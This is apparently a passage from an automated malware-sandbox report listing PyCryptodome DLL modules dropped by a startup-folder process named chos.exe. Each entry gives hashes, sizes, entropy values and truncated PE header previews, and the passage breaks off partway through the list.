                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...S..f.........." .....6... ......P.....................................................`.........................................@Z......([..d............p..................(....R...............................R..8............P...............................text....5.......6.................. ..`.rdata..x....P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..(............R..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA256.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):21504
                                                                                                                                                                                                                                            Entropy (8bit):5.881781476285865
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:EJWo4IRCGHXfKXqHGcvYHp5RYcARQOj4MSTjqgPmJD12gkxEv:EcIRnHXfP/YtswvaD1zk
                                                                                                                                                                                                                                            MD5:CDE035B8AB3D046B1CE37EEE7EE91FA0
                                                                                                                                                                                                                                            SHA1:4298B62ED67C8D4F731D1B33E68D7DC9A58487FF
                                                                                                                                                                                                                                            SHA-256:16BEA322D994A553B293A724B57293D57DA62BC7EAF41F287956B306C13FD972
                                                                                                                                                                                                                                            SHA-512:C44FDEE5A210459CE4557351E56B2D357FD4937F8EC8EACEAB842FEE29761F66C2262FCBAAC837F39C859C67FA0E23D13E0F60B3AE59BE29EB9D8ABAB0A572BB
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...S..f.........." .....6... ......P.....................................................`.........................................@Z......([..d............p..................(....R...............................R..8............P...............................text....5.......6.................. ..`.rdata..x....P.......:..............@..@.data........`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..(............R..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA384.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):26624
                                                                                                                                                                                                                                            Entropy (8bit):5.837887867708438
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:e839Cc4itui0gel9soFdkO66MlPGXmXcyYDTzks:Ns4u/FZ6nPxMLDvk
                                                                                                                                                                                                                                            MD5:999D431197D7E06A30E0810F1F910B9A
                                                                                                                                                                                                                                            SHA1:9BFF781221BCFFD8E55485A08627EC2A37363C96
                                                                                                                                                                                                                                            SHA-256:AB242B9C9FB662C6F7CB57F7648F33983D6FA3BB0683C5D4329EC2CC51E8C875
                                                                                                                                                                                                                                            SHA-512:A5DD92DD471ADB44EEFE5919EF9CA3978724E21174DF5B3A9C1F0AB462F928E5A46A460D02417DB7522F5DE3BFEED5EEE6B1EAFAF3E621722E85E72675F7096F
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...T..f.........." .....H..."......P.....................................................`..........................................k.......l..d...............................(...pd...............................d..8............`...............................text....F.......H.................. ..`.rdata.......`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..(............f..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA512.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):26624
                                                                                                                                                                                                                                            Entropy (8bit):5.895310340516013
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:lcX9Nf4ttui0gel9soFdkO66MlPGXmXc/vDTOvk:a38u/FZ6nPxM3DAk
                                                                                                                                                                                                                                            MD5:0931ABBF3AED459B1A2138B551B1D3BB
                                                                                                                                                                                                                                            SHA1:9EC0296DDAF574A89766A2EC035FC30073863AB0
                                                                                                                                                                                                                                            SHA-256:1729A0DC6B80CB7A3C07372B98B10D3C6C613EA645240878E1FDE6A992FA06F1
                                                                                                                                                                                                                                            SHA-512:9F970BB4D10B94F525DDDDE307C7DA5E672BBFB3A3866A34B89B56ADA99476724FD690A4396857182749294F67F36DB471A048789FB715D2A7DAF46917FC1947
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...T..f.........." .....H..."......P.....................................................`.........................................@l......(m..d...............................(....d...............................e..8............`...............................text...hG.......H.................. ..`.rdata..x....`.......L..............@..@.data................^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..(............f..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_ghash_clmul.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12800
                                                                                                                                                                                                                                            Entropy (8bit):4.967737129255606
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:dMpWt/1nCuqaL0kt7TsEx2fiTgDZqGF0T7cqgkLgJ:k/k1Ts64DDJyBgkLg
                                                                                                                                                                                                                                            MD5:5F057A380BACBA4EF59C0611549C0E02
                                                                                                                                                                                                                                            SHA1:4B758D18372D71F0AA38075F073722A55B897F71
                                                                                                                                                                                                                                            SHA-256:BCB14DAC6C87C24269D3E60C46B49EFFB1360F714C353318F5BBAA48C79EC290
                                                                                                                                                                                                                                            SHA-512:E1C99E224745B86EE55822C1DBCB4555A11EC31B72D87B46514917EB61E0258A1C6D38C4F592969C17EB4F0F74DA04BCECA31CF1622720E95F0F20E9631792E8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^J.6?$.6?$.6?$.?G..2?$.dJ%.4?$.}G%.5?$.6?%..?$.dJ!.<?$.dJ .>?$.dJ'.5?$..J,.7?$..J$.7?$..J..7?$..J&.7?$.Rich6?$.........................PE..d...V..f.........." ................P.....................................................`.........................................P8.......8..d....`.......P...............p..(....1...............................1..8............0...............................text............................... ..`.rdata..2....0......................@..@.data...H....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..(....p.......0..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_ghash_portable.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13312
                                                                                                                                                                                                                                            Entropy (8bit):5.007867576025166
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:bMt/1nCuqaL0ktPH0T7fwtF4zDn2rGacqgRGd:1/kpU3Yv4zDXqgRGd
                                                                                                                                                                                                                                            MD5:49BCA1B7DF076D1A550EE1B7ED3BD997
                                                                                                                                                                                                                                            SHA1:47609C7102F5B1BCA16C6BAD4AE22CE0B8AEE9E9
                                                                                                                                                                                                                                            SHA-256:49E15461DCB76690139E71E9359F7FCF92269DCCA78E3BFE9ACB90C6271080B2
                                                                                                                                                                                                                                            SHA-512:8574D7FA133B72A4A8D1D7D9FDB61053BC88C2D238B7AC7D519BE19972B658C44EA1DE433885E3206927C75DD5D1028F74999E048AB73189585B87630F865466
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.:...:...:...3.j.>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...........................PE..d...V..f.........." ................P.....................................................`..........................................8.......8..d....`.......P..X............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..(....p.......2..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_keccak.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):15872
                                                                                                                                                                                                                                            Entropy (8bit):5.226023387740053
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:rfRKTN+HLjRskTdf4WazSTkwjEvuY2bylHDiYIgovg:mcHfRl5pauoSjy5DiE
                                                                                                                                                                                                                                            MD5:CB5CFDD4241060E99118DEEC6C931CCC
                                                                                                                                                                                                                                            SHA1:1E7FED96CF26C9F4730A4621CA9D18CECE3E0BCE
                                                                                                                                                                                                                                            SHA-256:A8F809B6A417AF99B75EEEEA3ECD16BDA153CBDA4FFAB6E35CE1E8C884D899C4
                                                                                                                                                                                                                                            SHA-512:8A89E3563C14B81353D251F9F019D8CBF07CB98F78452B8522413C7478A0D77B9ABF2134E4438145D6363CDA39721D2BAE8AD13D1CDACCBB5026619D95F931CF
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...U..f.........." ..... ... ......P.....................................................`..........................................9.......9..d....`.......P..X............p..(...p2...............................2..8............0...............................text............ .................. ..`.rdata..@....0.......$..............@..@.data........@.......4..............@....pdata..X....P.......6..............@..@.rsrc........`.......:..............@..@.reloc..(....p.......<..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_poly1305.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14848
                                                                                                                                                                                                                                            Entropy (8bit):5.262055670423592
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:C/ZN2eq/b04PAHH41F6fnVS0sVn+5CA5Z1cD66WGcqgFjLg:vI4IHHaQfSVnCZyDImgFjLg
                                                                                                                                                                                                                                            MD5:18D2D96980802189B23893820714DA90
                                                                                                                                                                                                                                            SHA1:5DEE494D25EB79038CBC2803163E2EF69E68274C
                                                                                                                                                                                                                                            SHA-256:C2FD98C677436260ACB9147766258CB99780A007114AED37C87893DF1CF1A717
                                                                                                                                                                                                                                            SHA-512:0317B65D8F292332C5457A6B15A77548BE5B2705F34BB8F4415046E3E778580ABD17B233E6CC2755C991247E0E65B27B5634465646715657B246483817CACEB7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...V..f.........." ................P.....................................................`..........................................8.......9..d....`.......P..|............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......."..............@..@.data........@.......0..............@....pdata..|....P.......2..............@..@.rsrc........`.......6..............@..@.reloc..(....p.......8..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Math\_modexp.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):36352
                                                                                                                                                                                                                                            Entropy (8bit):5.913843738203007
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:dspbXtHQY4ubrttQza9CHnZXQsnecAlOF0qZLAXxQI3Sya6XPpMg3Yx8MnDcCPSq:7Y44UagH6cAFCLUSYpMg3YDzPo5kG9G
                                                                                                                                                                                                                                            MD5:EF472BA63FD22922CA704B1E7B95A29E
                                                                                                                                                                                                                                            SHA1:700B68E7EF95514D5E94D3C6B10884E1E187ACD8
                                                                                                                                                                                                                                            SHA-256:66EEF4E6E0CEEEF2C23A758BFBEDAE7C16282FC93D0A56ACAFC40E871AC3F01C
                                                                                                                                                                                                                                            SHA-512:DC2060531C4153C43ABF30843BCB5F8FA082345CA1BB57F9AC8695EDDB28FF9FDA8132B6B6C67260F779D95FCADCAE2811091BCA300AB1E041FAE6CC7B50ABD8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..P~...~...~...w.3.x...,...|...5...}...~...U...,...u...,...v...,...}.......|............._.............Rich~...................PE..d...^..f.........." .....`...0......`.....................................................`..........................................~..|...L...d...............<...............(....q...............................q..8............p..(............................text...X^.......`.................. ..`.rdata.......p.......d..............@..@.data................x..............@....pdata..<...........................@..@.rsrc...............................@..@.reloc..(...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Protocol\_scrypt.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12288
                                                                                                                                                                                                                                            Entropy (8bit):4.735350805948923
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:rhsC3eqv6b0q3OQ3rHu5bc64OhD2I/p3cqgONLg:r/Hq3jHuY64OhDJJgONLg
                                                                                                                                                                                                                                            MD5:3B1CE70B0193B02C437678F13A335932
                                                                                                                                                                                                                                            SHA1:063BFD5A32441ED883409AAD17285CE405977D1F
                                                                                                                                                                                                                                            SHA-256:EB2950B6A2185E87C5318B55132DFE5774A5A579259AB50A7935A7FB143EA7B1
                                                                                                                                                                                                                                            SHA-512:0E02187F17DFCFD323F2F0E62FBFE35F326DCF9F119FC8B15066AFAEEE4EB7078184BC85D571B555E9E67A2DD909EC12D8A67E3D075E9B1283813EF274E05C0D
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^:.6?T.6?T.6?T.?G..2?T.dJU.4?T.}GU.5?T.6?U..?T.dJQ.<?T.dJP.>?T.dJW.5?T..J\.7?T..JT.7?T..J..7?T..JV.7?T.Rich6?T.........................PE..d...Z..f.........." ................P.....................................................`..........................................8..d....8..d....`.......P..4............p..(....1...............................1..8............0...............................text...H........................... ..`.rdata..0....0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..(....p......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_curve25519.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):22528
                                                                                                                                                                                                                                            Entropy (8bit):5.705606408072877
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:19BcRxBmau38CYIl9bhgIW0mvufueNr359/tjGGDEFSegqrA:NcRy38J+9dmvufFtaGDV
                                                                                                                                                                                                                                            MD5:FF33C306434DEC51D39C7BF1663E25DA
                                                                                                                                                                                                                                            SHA1:665FCF47501F1481534597C1EAC2A52886EF0526
                                                                                                                                                                                                                                            SHA-256:D0E3B6A2D0E073B2D9F0FCDB051727007943A17A4CA966D75EBA37BECDBA6152
                                                                                                                                                                                                                                            SHA-512:66A909DC9C3B7BD4050AA507CD89B0B3A661C85D33C881522EC9568744953B698722C1CBFF093F9CBCD6119BD527FECAB05A67F2E32EC479BE47AFFA4377362C
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...\..f.........." .....6...$......P.....................................................`.........................................`Y......`Z..d............p..................(....R..............................0R..8............P...............................text...(5.......6.................. ..`.rdata.......P.......:..............@..@.data........`.......J..............@....pdata.......p.......P..............@..@.rsrc................T..............@..@.reloc..(............V..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_curve448.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):70656
                                                                                                                                                                                                                                            Entropy (8bit):6.0189903352673655
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:Jfju4GgRMgWWnEDZiECgd/iwOXUQdbhov0Clb8Cx4hpK8ithLFIDullRPwDHxXOa:pXRMgWiEDZiECgd/iwOXUQdbhov0ClbU
                                                                                                                                                                                                                                            MD5:F267BF4256F4105DAD0D3E59023011ED
                                                                                                                                                                                                                                            SHA1:9BC6CA0F375CE49D5787C909D290C07302F58DA6
                                                                                                                                                                                                                                            SHA-256:1DDE8BE64164FF96B2BAB88291042EB39197D118422BEE56EB2846E7A2D2F010
                                                                                                                                                                                                                                            SHA-512:A335AF4DBF1658556ED5DC13EE741419446F7DAEC6BD2688B626A803FA5DD76463D6367C224E0B79B17193735E2C74BA417C26822DAEEF05AC3BAB1588E2DE83
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..P~...~...~...w.3.x...,...|...5...}...~...U...,...u...,...v...,...}.......|............._.............Rich~...................PE..d...\..f.........." .........8......`........................................P............`.............................................0.......d....0....... ..$............@..(.......................................8............................................text...8........................... ..`.rdata..............................@..@.data...............................@....pdata..$.... ......................@..@.rsrc........0......................@..@.reloc..(....@......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ec_ws.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):770560
                                                                                                                                                                                                                                            Entropy (8bit):7.613224993327352
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:XtIrHoxJ8gf1266y8IXhJvCKAmqVLzcrZgYIMGv1iLD9yQvG6h:XtIrHoxJFf1p34hcrn5Go9yQO6
                                                                                                                                                                                                                                            MD5:1EFD7F7CB1C277416011DE6F09C355AF
                                                                                                                                                                                                                                            SHA1:C0F97652AC2703C325AB9F20826A6F84C63532F2
                                                                                                                                                                                                                                            SHA-256:AB45FA80A68DB1635D41DC1A4AAD980E6716DAC8C1778CB5F30CDB013B7DF6E6
                                                                                                                                                                                                                                            SHA-512:2EC4B88A1957733043BBD63CEAA6F5643D446DB607B3267FAD1EC611E6B0AF697056598AAC2AE5D44AB2B9396811D183C32BCE5A0FF34E583193A417D1C5226B
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........s.. .. .. ... .. ..!.. ..!.. .. .. ..!.. ..!.. ..!.. \..!.. \..!.. \.r .. \..!.. Rich.. ................PE..d...[..f.........." ................`.....................................................`.............................................h.......d...............................0......................................8...............(............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..0...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ed25519.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):26112
                                                                                                                                                                                                                                            Entropy (8bit):5.8551858881598795
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:BczadRwoF2MZ81n0XTyMCYIl9bhgIW0mv8aeadRcwRwftjGLD2pRQNgQQ77k:2udRf2MuMJ+9dmv8aea34taLDcfQ
                                                                                                                                                                                                                                            MD5:C5FB377F736ED731B5578F57BB765F7A
                                                                                                                                                                                                                                            SHA1:5BA51E11F4DE1CAEDEBA0F7D4D10EC62EC109E01
                                                                                                                                                                                                                                            SHA-256:32073DF3D5C85ABCE7D370D6E341EF163A8350F6A9EDC775C39A23856CCFDD53
                                                                                                                                                                                                                                            SHA-512:D361BCDAF2C700D5A4AC956D96E00961432C05A1B692FC870DB53A90F233A6D24AA0C3BE99E40BD8E5B7C6C1B2BCDCDCFC545292EF321486FFC71C5EA7203E6A
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...]..f.........." .....B...&......P.....................................................`..........................................i..0....k..d...............................(... b..............................@b..8............`...............................text....A.......B.................. ..`.rdata..P....`.......F..............@..@.data........p.......V..............@....pdata...............^..............@..@.rsrc................b..............@..@.reloc..(............d..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\PublicKey\_ed448.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):84992
                                                                                                                                                                                                                                            Entropy (8bit):6.064677498000638
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:1536:BrYNvxcZeLrIeNs2qkTwe57DsuP45PqAqVDK9agdUiwOXyQdDrov0slb8gx4TBKW:Br4vxcZeLrIeN1TvHsuP45yAqVDK9ag3
                                                                                                                                                                                                                                            MD5:8A0C0AA820E98E83AC9B665A9FD19EAF
                                                                                                                                                                                                                                            SHA1:6BF5A14E94D81A55A164339F60927D5BF1BAD5C4
                                                                                                                                                                                                                                            SHA-256:4EE3D122DCFFE78E6E7E76EE04C38D3DC6A066E522EE9F7AF34A09649A3628B1
                                                                                                                                                                                                                                            SHA-512:52496AE7439458DEDB58A65DF9FFDCC3A7F31FC36FE7202FB43570F9BB03ABC0565F5EF32E5E6C048ED3EBC33018C19712E58FF43806119B2FB5918612299E7E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..P~...~...~...w.3.x...,...|...5...}...~...U...,...u...,...v...,...}.......|............._.............Rich~...................PE..d...^..f.........." .........8......`.....................................................`..........................................C..h...HE..d....p.......`..l...............(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......4..............@....pdata..l....`.......>..............@..@.rsrc........p.......H..............@..@.reloc..(............J..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util\_cpuid_c.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10240
                                                                                                                                                                                                                                            Entropy (8bit):4.675380950473425
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:frQRpBddzAvzrqTOy/ThIz014mlxuLnkC75JiSBhsPeSztllIDpqf4AZaRcX6gnO:Qddz2KTnThIz0qfteRIDgRWcqgnCWt
                                                                                                                                                                                                                                            MD5:44B930B89CE905DB4716A548C3DB8DEE
                                                                                                                                                                                                                                            SHA1:948CBFF12A243C8D17A7ACD3C632EE232DF0F0ED
                                                                                                                                                                                                                                            SHA-256:921C2D55179C0968535B20E9FD7AF55AD29F4CE4CF87A90FE258C257E2673AA5
                                                                                                                                                                                                                                            SHA-512:79DF755BE8B01D576557A4CB3F3200E5EE1EDE21809047ABB9FF8D578C535AC1EA0277EDA97109839A7607AF043019F2C297E767441C7E11F81FDC87FD1B6EFC
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@................../....../...../......+.......*......-......&....................,....Rich...........................PE..d...X..f.........." ................P........................................p............`.........................................@'..|....'..P....P.......@...............`..(....!...............................!..8............ ...............................text............................... ..`.rdata....... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..(....`.......&..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util\_strxor.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10240
                                                                                                                                                                                                                                            Entropy (8bit):4.625428549874022
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:flipBddzAvzrqTOy/ThIz014mlxuLnkC75JiSBhsPeSzteXuDVZqYNIfcX6gHCWx:Cddz2KTnThIz0qfteR5DVwYkcqgHCWt
                                                                                                                                                                                                                                            MD5:F24F9356A6BDD29B9EF67509A8BC3A96
                                                                                                                                                                                                                                            SHA1:A26946E938304B4E993872C6721EB8CC1DCBE43B
